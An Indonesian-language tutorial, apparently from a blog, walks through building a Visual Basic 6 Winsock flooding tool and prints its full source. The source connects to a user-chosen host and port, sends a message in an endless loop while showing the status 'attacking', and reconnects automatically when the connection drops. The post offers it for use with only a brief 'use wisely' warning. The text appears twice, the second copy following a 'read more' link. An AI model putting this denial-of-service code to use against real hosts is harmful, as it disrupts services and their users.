1. Buka Visual Basic 6 sobat.
2. Buat project baru,
3. Masukkan componen Microsoft Winsock Control
4. Masukkan coding berikut
Dim FILENAME As String, listItem As String
Private TransferRate As Single
Private TransferRate2 As Single
Private Xstart As Long
Private Ystart As Long
Private m_objIpHelper As CIpHelper
'Deklarasikan fungsi API untuk mengeksekusi suatu 'Hyperlink
Private Declare Function ShellExecute _
Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd _
As Long, ByVal lpOperation As String, ByVal lpFile _
As String, ByVal lpParameters As String, ByVal _
lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1 'Konstanta untuk menampilkan 'jendela normal
Private Sub CMDMULAI_Click()
TXTURL.Text = Replace(TXTURL.Text, "http://", "")
Sock.Close
Sock.Connect TXTURL, TXTPORT
Timer1.Enabled = True
SIMPAN_PESAN
On Error Resume Next
Timer1.Interval = TXTWAKTU.Text
End Sub
Private Sub CMDSTOP_Click()
Sock.Close
Timer1.Enabled = False
lblStatus.Caption = "Putus"
lblStatus.ForeColor = &HFFFFFF
LBLWARN.Caption = "Menunggu perintah"
Timer2.Enabled = False
End Sub
Private Sub Form_Load()
Timer1.Interval = TXTWAKTU.Text
LOAD_PESAN
'Fungsi penggunaan badwith internet
Set m_objIpHelper = New CIpHelper
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFFFF&
End Sub
Private Sub Form_Unload(Cancel As Integer)
Sock.Close
End
End Sub
Private Sub LBLSITUS_Click()
Dim situs As Long
'Tampilkan program default untuk membuka situs ke
'alamat lblSitus
situs = ShellExecute(0, vbNullString, _
LBLSITUS, "", "", vbNormalFocus)
LBLSITUS.ForeColor = &H8000& 'Setelah diklik, berubah
'warna
End Sub
Private Sub LBLSITUS_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFF&
LBLSITUS.MousePointer = 2
End Sub
Private Sub MNUUP_Click()
FRMUP.Show
End Sub
Private Sub SocK_Close()
lblStatus.Caption = "Putus"
End Sub
Private Sub SocK_Connect()
lblStatus.Caption = "Tersambung"
End Sub
Private Sub SocK_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Sock.Close
lblStatus.Caption = "Soket error"
End Sub
Private Sub Timer1_Timer()
Dim DATA As String
DATA = TXTDATA.Text
If Sock.State = sckConnected Then
Do
On Error GoTo REMUK
Sock.SendData DATA
lblStatus = "Menyerang"
lblStatus.ForeColor = &HFF00&
LBLDATA.Caption = Sock.SocketHandle
DoEvents
lblSent.Caption = lblSent.Caption + 1
Loop
REMUK:
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
Timer2.Enabled = True
Else
CMDSTOP_Click
Timer2.Enabled = True
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
End If
End Sub
Private Sub Timer2_Timer()
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
If Timer2.Interval = 2000 Then
CMDMULAI_Click
Timer2.Enabled = False
LBLWARN.Caption = "Asyik ... terkoneksi lagi ... dech!!"
End If
End Sub
Private Sub tmrPoll_Timer()
tmrPoll.Enabled = False
On Error GoTo ErrH
Dim objInterface As CInterface
Static lngBytesRecv As Long
Static lngBytesSent As Long
Dim lIn As Long, lOut As Long
Set objInterface = m_objIpHelper.Interfaces(1)
lIn = m_objIpHelper.BytesReceived - lngBytesRecv - 3296
lOut = m_objIpHelper.BytesSent - lngBytesSent - 3296
If lIn < 0 Then lIn = 0
If lOut < 0 Then lOut = 0
LBLDOWNLOAD.Caption = "DL: " & GetTransferRate(lIn) & "/sec"
LBLUPLOAD.Caption = "UL: " & GetTransferRate(lOut) & "/sec"
picGraph.ScaleMode = 3
DrawUsage picGraph, lIn, lOut
lngBytesRecv = m_objIpHelper.BytesReceived
lngBytesSent = m_objIpHelper.BytesSent
DoEvents
tmrPoll.Enabled = True
Exit Sub
ErrH:
tmrPoll.Enabled = True
Debug.Print Err.Description
End Sub
Function GetTransferRate(pDiff As Long) As String
Dim d As Double
d = pDiff / 1024
If d < 1024 Then
GetTransferRate = Trim(Format(d, "#,##0.00")) & " Kb"
Exit Function
End If
' Mbytes
d = pDiff / 1024
GetTransferRate = Trim(Format(d, "#,##0.00")) & " Mb"
End Function
Private Sub TXTPORT_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
And KeyAscii <= Asc("9") & Chr(13) _
Or KeyAscii = vbKeyBack _
Or KeyAscii = vbKeyDelete _
Or KeyAscii = vbKeySpace) Then
Beep
KeyAscii = 0
End If
End Sub
Private Sub TXTWAKTU_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
And KeyAscii <= Asc("9") & Chr(13) _
Or KeyAscii = vbKeyBack _
Or KeyAscii = vbKeyDelete _
Or KeyAscii = vbKeySpace) Then
Beep
KeyAscii = 0
End If
End Sub
Sub LOAD_PESAN()
FILENAME = App.Path & "/PESAN.txt"
TXTDATA.Text = ""
On Error Resume Next
Open FILENAME For Input As #1
Do While Not EOF(1)
Input #1 & vbNewLine, listItem
'If Not (listItem = "") Then
TXTDATA.Text = listItem
'End If
Loop
Close #1
End Sub
Sub SIMPAN_PESAN()
Open App.Path & "/PESAN.txt" For Output As #1
Print #1, TXTDATA.Text
Close
End Sub
3. Simpan dan jalankan project sobat.
Warning: Hati - hati dalam menggunakan tool ini. Gunakan secara bijak
Baca Selengkapnya →
2. Buat project baru,
3. Masukkan componen Microsoft Winsock Control
4. Masukkan coding berikut
Dim FILENAME As String, listItem As String
Private TransferRate As Single
Private TransferRate2 As Single
Private Xstart As Long
Private Ystart As Long
Private m_objIpHelper As CIpHelper
'Deklarasikan fungsi API untuk mengeksekusi suatu 'Hyperlink
Private Declare Function ShellExecute _
Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd _
As Long, ByVal lpOperation As String, ByVal lpFile _
As String, ByVal lpParameters As String, ByVal _
lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1 'Konstanta untuk menampilkan 'jendela normal
Private Sub CMDMULAI_Click()
TXTURL.Text = Replace(TXTURL.Text, "http://", "")
Sock.Close
Sock.Connect TXTURL, TXTPORT
Timer1.Enabled = True
SIMPAN_PESAN
On Error Resume Next
Timer1.Interval = TXTWAKTU.Text
End Sub
Private Sub CMDSTOP_Click()
Sock.Close
Timer1.Enabled = False
lblStatus.Caption = "Putus"
lblStatus.ForeColor = &HFFFFFF
LBLWARN.Caption = "Menunggu perintah"
Timer2.Enabled = False
End Sub
Private Sub Form_Load()
Timer1.Interval = TXTWAKTU.Text
LOAD_PESAN
'Fungsi penggunaan badwith internet
Set m_objIpHelper = New CIpHelper
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFFFF&
End Sub
Private Sub Form_Unload(Cancel As Integer)
Sock.Close
End
End Sub
Private Sub LBLSITUS_Click()
Dim situs As Long
'Tampilkan program default untuk membuka situs ke
'alamat lblSitus
situs = ShellExecute(0, vbNullString, _
LBLSITUS, "", "", vbNormalFocus)
LBLSITUS.ForeColor = &H8000& 'Setelah diklik, berubah
'warna
End Sub
Private Sub LBLSITUS_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFF&
LBLSITUS.MousePointer = 2
End Sub
Private Sub MNUUP_Click()
FRMUP.Show
End Sub
Private Sub SocK_Close()
lblStatus.Caption = "Putus"
End Sub
Private Sub SocK_Connect()
lblStatus.Caption = "Tersambung"
End Sub
Private Sub SocK_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Sock.Close
lblStatus.Caption = "Soket error"
End Sub
Private Sub Timer1_Timer()
Dim DATA As String
DATA = TXTDATA.Text
If Sock.State = sckConnected Then
Do
On Error GoTo REMUK
Sock.SendData DATA
lblStatus = "Menyerang"
lblStatus.ForeColor = &HFF00&
LBLDATA.Caption = Sock.SocketHandle
DoEvents
lblSent.Caption = lblSent.Caption + 1
Loop
REMUK:
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
Timer2.Enabled = True
Else
CMDSTOP_Click
Timer2.Enabled = True
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
End If
End Sub
Private Sub Timer2_Timer()
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
If Timer2.Interval = 2000 Then
CMDMULAI_Click
Timer2.Enabled = False
LBLWARN.Caption = "Asyik ... terkoneksi lagi ... dech!!"
End If
End Sub
Private Sub tmrPoll_Timer()
tmrPoll.Enabled = False
On Error GoTo ErrH
Dim objInterface As CInterface
Static lngBytesRecv As Long
Static lngBytesSent As Long
Dim lIn As Long, lOut As Long
Set objInterface = m_objIpHelper.Interfaces(1)
lIn = m_objIpHelper.BytesReceived - lngBytesRecv - 3296
lOut = m_objIpHelper.BytesSent - lngBytesSent - 3296
If lIn < 0 Then lIn = 0
If lOut < 0 Then lOut = 0
LBLDOWNLOAD.Caption = "DL: " & GetTransferRate(lIn) & "/sec"
LBLUPLOAD.Caption = "UL: " & GetTransferRate(lOut) & "/sec"
picGraph.ScaleMode = 3
DrawUsage picGraph, lIn, lOut
lngBytesRecv = m_objIpHelper.BytesReceived
lngBytesSent = m_objIpHelper.BytesSent
DoEvents
tmrPoll.Enabled = True
Exit Sub
ErrH:
tmrPoll.Enabled = True
Debug.Print Err.Description
End Sub
Function GetTransferRate(pDiff As Long) As String
Dim d As Double
d = pDiff / 1024
If d < 1024 Then
GetTransferRate = Trim(Format(d, "#,##0.00")) & " Kb"
Exit Function
End If
' Mbytes
d = pDiff / 1024
GetTransferRate = Trim(Format(d, "#,##0.00")) & " Mb"
End Function
Private Sub TXTPORT_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
And KeyAscii <= Asc("9") & Chr(13) _
Or KeyAscii = vbKeyBack _
Or KeyAscii = vbKeyDelete _
Or KeyAscii = vbKeySpace) Then
Beep
KeyAscii = 0
End If
End Sub
Private Sub TXTWAKTU_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
And KeyAscii <= Asc("9") & Chr(13) _
Or KeyAscii = vbKeyBack _
Or KeyAscii = vbKeyDelete _
Or KeyAscii = vbKeySpace) Then
Beep
KeyAscii = 0
End If
End Sub
Sub LOAD_PESAN()
FILENAME = App.Path & "/PESAN.txt"
TXTDATA.Text = ""
On Error Resume Next
Open FILENAME For Input As #1
Do While Not EOF(1)
Input #1 & vbNewLine, listItem
'If Not (listItem = "") Then
TXTDATA.Text = listItem
'End If
Loop
Close #1
End Sub
Sub SIMPAN_PESAN()
Open App.Path & "/PESAN.txt" For Output As #1
Print #1, TXTDATA.Text
Close
End Sub
3. Simpan dan jalankan project sobat.
Warning: Hati - hati dalam menggunakan tool ini. Gunakan secara bijak
)
